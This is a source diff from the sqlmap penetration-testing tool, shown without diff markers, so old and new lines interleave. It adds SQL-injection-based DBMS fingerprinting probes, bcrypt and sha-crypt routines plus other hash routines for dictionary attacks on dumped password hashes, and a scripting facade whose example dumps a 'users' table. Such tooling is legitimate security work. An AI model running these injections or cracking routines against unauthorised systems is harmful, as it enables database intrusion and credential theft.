# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
_SIGNATURE_DBMS = {
# xor pgpow intdiv bitor shift
(True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
(False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
(False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
(False, True, True, True, False): DBMS.PGSQL, # CrateDB
(True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
(True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
(False, False, True, True, True): DBMS.SQLITE, # SQLite
}
def _classify(signature):
"""
Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
detection proceeds unchanged - the heuristic never wrong-foots the scan).
Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
through a strict whitelist of live-measured signatures, or returns None when the signature is not
a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
detection proceeds unchanged and the heuristic never wrong-foots the scan.
Rules below are the subset of the measured 11-engine truth table that maps with zero
false positives. Engines whose operator profile is not distinctive enough (Oracle's
all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
a fully WAF-blocked channel also produces) deliberately fall through to None:
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
'MySQL'
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
>>> _classify((False, True, True, True, True)) # PostgreSQL
'PostgreSQL'
>>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
'Microsoft SQL Server'
>>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<')
>>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
'MonetDB'
>>> _classify((False, True, True, True, False)) # PostgreSQL
'PostgreSQL'
>>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family
'PostgreSQL'
>>> _classify((False, False, True, True, True)) # SQLite
>>> _classify((False, False, True, True, True)) # SQLite
'SQLite'
>>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
>>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
True
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
True
>>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
True
"""
xor, pgpow, intdiv, bitor, shift = signature
if pgpow: # '^' is exponentiation -> PostgreSQL family
return DBMS.PGSQL
if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ...
# ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
# ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
return DBMS.MONETDB if shift else DBMS.MSSQL
if xor and not intdiv: # '^' is XOR AND real division -> MySQL family
return DBMS.MYSQL
if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite
return DBMS.SQLITE
return None
return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
def dialectCheckDbms(injection):
"""
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
WAF-blocked channel yields None, leaving the scan unchanged.
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
"""
retVal = None
@ -114,9 +126,12 @@ def dialectCheckDbms(injection):
kb.injection = injection
try:
# channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
# boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
# Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
# and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
# fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
# is proof the oracle is trash, so classification is skipped (a true negative) instead of
# emitting a bogus DBMS from a meaningless signature.
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
retVal = _classify(signature)
finally:

View file

@ -19,19 +19,27 @@ except:
from thirdparty.pydes.pyDes import CBC
from thirdparty.pydes.pyDes import des
try:
from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6)
except ImportError:
_scrypt = None
_multiprocessing = None
import base64
import binascii
import gc
import hmac
import math
import os
import re
import struct
import tempfile
import time
import zipfile
from hashlib import md5
from hashlib import pbkdf2_hmac
from hashlib import sha1
from hashlib import sha224
from hashlib import sha256
@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False):
return retVal.upper() if uppercase else retVal.lower()
def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10'
"""
Reference(s):
https://www.rfc-editor.org/rfc/rfc5803
>>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096)
'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc='
"""
salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations)
stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest()
server_key = hmac.new(salted, b"Server Key", sha256).digest()
return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key)))
def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
"""
Reference(s):
@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
return getText(magic + salt + b'$' + getBytes(hash_))
# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests
_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30))
_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,))
def _shaCryptDigest(password, salt, rounds, digestmod, order):
dsize = digestmod().digest_size
B = digestmod(password + salt + password).digest()
ctx = digestmod(password + salt)
cnt = len(password)
while cnt > dsize:
ctx.update(B)
cnt -= dsize
ctx.update(B[:cnt])
i = len(password)
while i:
ctx.update(B if i & 1 else password)
i >>= 1
A = ctx.digest()
dp = digestmod()
for _ in xrange(len(password)):
dp.update(password)
DP = dp.digest()
P = DP * (len(password) // dsize) + DP[:len(password) % dsize]
ds = digestmod()
for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))):
ds.update(salt)
DS = ds.digest()
S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize]
C = A
for i in xrange(rounds):
c = digestmod()
c.update(P if i & 1 else C)
if i % 3:
c.update(S)
if i % 7:
c.update(P)
c.update(C if i & 1 else P)
C = c.digest()
retVal = ""
for group in order:
value = 0
for idx in group:
value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx]))
for _ in xrange((len(group) * 8 + 5) // 6):
retVal += ITOA64[value & 0x3f]
value >>= 6
return retVal
def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs):
"""
Reference(s):
https://www.akkadia.org/drepper/SHA-crypt.txt
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$')
'$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.'
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$')
'$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.'
"""
rounds, saltstr = 5000, salt
if salt.startswith("rounds="):
prefix, saltstr = salt.split('$', 1)
rounds = int(prefix[len("rounds="):])
order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512)
digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order)
return "%s%s$%s" % (magic, salt, digest)
def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt)
"""
Reference(s):
https://hashcat.net/wiki/doku.php?id=example_hashes
>>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*')
'$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F'
"""
digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER)
return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper())
# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
_bcryptState = None
def _bcryptInitState():
global _bcryptState
if _bcryptState is None:
count = 18 + 4 * 256
ndigits = count * 8
prec = ndigits + 16
one = 1 << (4 * prec)
def _arctan(inv):
total = term = one // inv
square = inv * inv
i = 1
while term:
term //= square
total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
i += 1
return total
frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
hexstr = "%0*x" % (ndigits, frac)
words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
_bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
return _bcryptState
def _bcryptEncipher(P, S, L, R):
for i in xrange(16):
L ^= P[i]
R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
L, R = R, L
L, R = R, L
return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
def _bcryptStream(data, offset):
word = 0
for _ in xrange(4):
word = ((word << 8) | data[offset[0]]) & 0xffffffff
offset[0] = (offset[0] + 1) % len(data)
return word
def _bcryptExpand(P, S, data, key):
koffset = [0]
for i in xrange(18):
P[i] ^= _bcryptStream(key, koffset)
doffset = [0]
L = R = 0
for i in xrange(0, 18, 2):
if data:
L ^= _bcryptStream(data, doffset)
R ^= _bcryptStream(data, doffset)
L, R = _bcryptEncipher(P, S, L, R)
P[i], P[i + 1] = L, R
for b in xrange(4):
for k in xrange(0, 256, 2):
if data:
L ^= _bcryptStream(data, doffset)
R ^= _bcryptStream(data, doffset)
L, R = _bcryptEncipher(P, S, L, R)
S[b][k], S[b][k + 1] = L, R
def _bcryptBase64(data):
retVal = ""
i = 0
while i < len(data):
c = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
c = (c & 3) << 4
if i >= len(data):
retVal += BCRYPT_ITOA64[c & 0x3f]; break
d = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
c = (d & 0x0f) << 2
if i >= len(data):
retVal += BCRYPT_ITOA64[c & 0x3f]; break
e = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
retVal += BCRYPT_ITOA64[e & 0x3f]
return retVal
def _bcryptUnbase64(value, length):
retVal = bytearray()
positions = [BCRYPT_ITOA64.index(_) for _ in value]
i = 0
while i < len(positions) and len(retVal) < length:
c1 = positions[i]
c2 = positions[i + 1] if i + 1 < len(positions) else 0
retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
if len(retVal) >= length:
break
c3 = positions[i + 2] if i + 2 < len(positions) else 0
retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
if len(retVal) >= length:
break
c4 = positions[i + 3] if i + 3 < len(positions) else 0
retVal.append((((c3 & 3) << 6) | c4) & 0xff)
i += 4
return retVal[:length]
def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
"""
Reference(s):
https://www.openwall.com/crypt/
>>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5)
'$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
"""
P0, S0 = _bcryptInitState()
P, S = list(P0), [list(_) for _ in S0]
key = bytearray(getBytes(password) + b"\0")
saltbytes = _bcryptUnbase64(salt, 16)
_bcryptExpand(P, S, saltbytes, key)
for _ in xrange(1 << cost):
_bcryptExpand(P, S, b"", key)
_bcryptExpand(P, S, b"", saltbytes)
ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
for _ in xrange(64):
for j in xrange(0, 6, 2):
ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
digest = bytearray(struct.pack(">6I", *ctext))[:23]
return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest))
def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))'
"""
Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/
>>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10)
'$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW'
"""
prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest()))
return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost)
def joomla_passwd(password, salt, **kwargs):
"""
Reference: https://stackoverflow.com/a/10428239
@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs):
return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest())
def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs):
"""
Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py
>>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000)
'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI='
"""
dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations)
return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk)))
def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs):
"""
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
>>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256')
'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2'
"""
dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations)
return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False)))
def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs):
"""
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
>>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
"""
dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024)
return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False)))
def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs):
"""
Reference(s):
https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs
>>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32)
'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA=='
"""
subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen)
blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey
return getText(base64.b64encode(blob))
def vbulletin_passwd(password, salt, **kwargs):
"""
Reference: https://stackoverflow.com/a/2202810
@ -560,6 +870,8 @@ __functions__ = {
HASH.MYSQL: mysql_passwd,
HASH.MYSQL_OLD: mysql_old_passwd,
HASH.POSTGRES: postgres_passwd,
HASH.POSTGRES_SCRAM: postgres_scram_passwd,
HASH.MYSQL_SHA2: mysql_sha2_passwd,
HASH.MSSQL: mssql_passwd,
HASH.MSSQL_OLD: mssql_old_passwd,
HASH.MSSQL_NEW: mssql_new_passwd,
@ -572,9 +884,16 @@ __functions__ = {
HASH.SHA384_GENERIC: sha384_generic_passwd,
HASH.SHA512_GENERIC: sha512_generic_passwd,
HASH.CRYPT_GENERIC: crypt_generic_passwd,
HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd,
HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd,
HASH.BCRYPT: bcrypt_passwd,
HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd,
HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd,
HASH.ASPNET_IDENTITY: aspnet_identity_passwd,
HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd,
HASH.PHPASS: phpass_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
@ -591,6 +910,14 @@ __functions__ = {
HASH.SHA512_BASE64: sha512_generic_passwd,
}
if _scrypt is not None:
__functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd
# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools
HASH_TOOL_HINTS = {
HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')",
}
def _finalize(retVal, results, processes, attack_info=None):
if _multiprocessing:
gc.enable()
@ -898,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
pass
finally:
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
if hasattr(proc_count, "value"):
with proc_count.get_lock():
proc_count.value -= 1
@ -977,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
pass
finally:
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
if hasattr(proc_count, "value"):
with proc_count.get_lock():
proc_count.value -= 1
@ -1023,9 +1352,14 @@ def dictionaryAttack(attack_dict):
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
if regex in __functions__:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
else:
warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash")
warnMsg += "built-in dictionary attack"
singleTimeWarnMessage(warnMsg)
for hash_regex in hash_regexes:
keys = set()
@ -1043,7 +1377,7 @@ def dictionaryAttack(attack_dict):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
@ -1068,10 +1402,32 @@ def dictionaryAttack(attack_dict):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT):
item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.BCRYPT,):
item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}]
elif hash_regex in (HASH.WORDPRESS_BCRYPT,):
item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}]
elif hash_regex in (HASH.ASPNET_IDENTITY,):
_ = decodeBase64(hash_, binary=True)
prf, iterations, saltlen = struct.unpack(">III", _[1:13])
item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}]
elif hash_regex in (HASH.MYSQL_SHA2,):
_ = hash_.split('*')
item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,):
item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}]
elif hash_regex in (HASH.POSTGRES_SCRAM,):
item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}]
elif hash_regex in (HASH.WERKZEUG_PBKDF2,):
item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}]
elif hash_regex in (HASH.WERKZEUG_SCRYPT,):
_ = hash_.split('$')[0].split(':')
item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}]
elif hash_regex in (HASH.PHPASS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}]
@ -1102,7 +1458,7 @@ def dictionaryAttack(attack_dict):
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS):
if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.MYSQL_SHA2):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]

190
lib/utils/library.py Normal file
View file

@ -0,0 +1,190 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
# Library facade for programmatic (in-code) usage: 'import sqlmap; sqlmap.scan(...)'.
#
# This is the code-level sibling of the REST API (lib/utils/api.py): both drive the engine as an
# isolated subprocess for programmatic callers. The public names here are re-exported by sqlmap.py so
# that they are reachable as 'sqlmap.scan', 'sqlmap.scanFromRequest' and 'sqlmap.SqlmapError'.
import json
import os
import sys
import tempfile
__all__ = ["scan", "scanFromRequest", "SqlmapError"]
# Absolute path of the engine entry point (this module lives at <root>/lib/utils/library.py)
SQLMAP_FILE = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "sqlmap.py")
class SqlmapError(Exception):
"""
Raised by the library facade (scan/scanFromRequest) when a scan can not produce a result report
"""
pass
def _terminateProcess(process):
"""
Best-effort hard teardown of a scan subprocess together with its whole process group, so a
timed-out scan never leaves orphaned sqlmap workers behind (POSIX kills the group, others fall
back to killing the process itself)
"""
import signal
try:
if os.name != "nt" and hasattr(os, "killpg"):
os.killpg(os.getpgid(process.pid), getattr(signal, "SIGKILL", signal.SIGTERM))
else:
process.kill()
except (OSError, AttributeError):
try:
process.kill()
except (OSError, AttributeError):
pass
def scan(url=None, requestFile=None, timeout=None, outputDir=None, raw=None, **options):
"""
Runs a sqlmap scan in a dedicated subprocess and returns its structured result (library usage).
Keyword options are plain sqlmap option names - exactly the names used in a sqlmap configuration
file (data/sqlmap.conf) and by the REST API, i.e. the 'conf' names, NOT command line switches. So
scan(url, technique="BEU", getBanner=True, dumpTable=True, tbl="users", level=3) is equivalent to
the config file lines 'technique = BEU', 'getBanner = True', 'dumpTable = True', 'tbl = users',
'level = 3'. Unknown names are rejected. The scan is driven through a generated config file passed
with '-c' (the same mechanism the REST API uses), so there is a single option namespace and no
argument escaping. 'raw' takes a list of extra raw command line switches for the rare thing not
expressible as a config option (e.g. raw=["--fresh-queries"]).
The engine runs fully out-of-process, so a scan can never affect the calling process (no shared
global state, no HTTP-stack patching, no risk of the host being exited). The return value is the
parsed '--report-json' report - the same structure as the REST API '/scan/<id>/data' response: a
dict with keys 'success', 'data' (a list of {'type_name', 'value'} entries: TARGET, TECHNIQUES,
BANNER, DUMP_TABLE, ...), 'error' and 'meta'.
scan() is blocking and thread-safe, so it is both thread- and asyncio-ready: run several at once
in threads, or from an event loop with 'await loop.run_in_executor(None, functools.partial(scan,
url, dumpTable=True))'. For unattended/concurrent use the run is hardened like the REST API
subprocess: batch mode (never prompts) with stdin closed, isolated file descriptors, its own
output directory (so parallel scans of the same target can not collide on session/dump files and
nothing accumulates on disk), engine output streamed to a temporary file rather than buffered in
memory, and - when 'timeout' is set - the whole subprocess group is torn down on expiry. Pass
'outputDir' to keep the run's files.
Example:
import sqlmap
result = sqlmap.scan("http://target/vuln.php?id=1", dumpTable=True, tbl="users")
"""
import shutil
import subprocess
import time
from lib.core.common import saveConfig
from lib.core.optiondict import optDict
if not (url or requestFile):
raise SqlmapError("scan() requires either 'url' or 'requestFile'")
if not os.path.isfile(SQLMAP_FILE):
raise SqlmapError("could not locate the sqlmap engine ('%s')" % SQLMAP_FILE)
knownOptions = set()
for family in optDict.values():
knownOptions.update(family)
config = {}
if url:
config["url"] = url
if requestFile:
config["requestFile"] = requestFile
config.update(options)
unknown = [_ for _ in config if _ not in knownOptions]
if unknown:
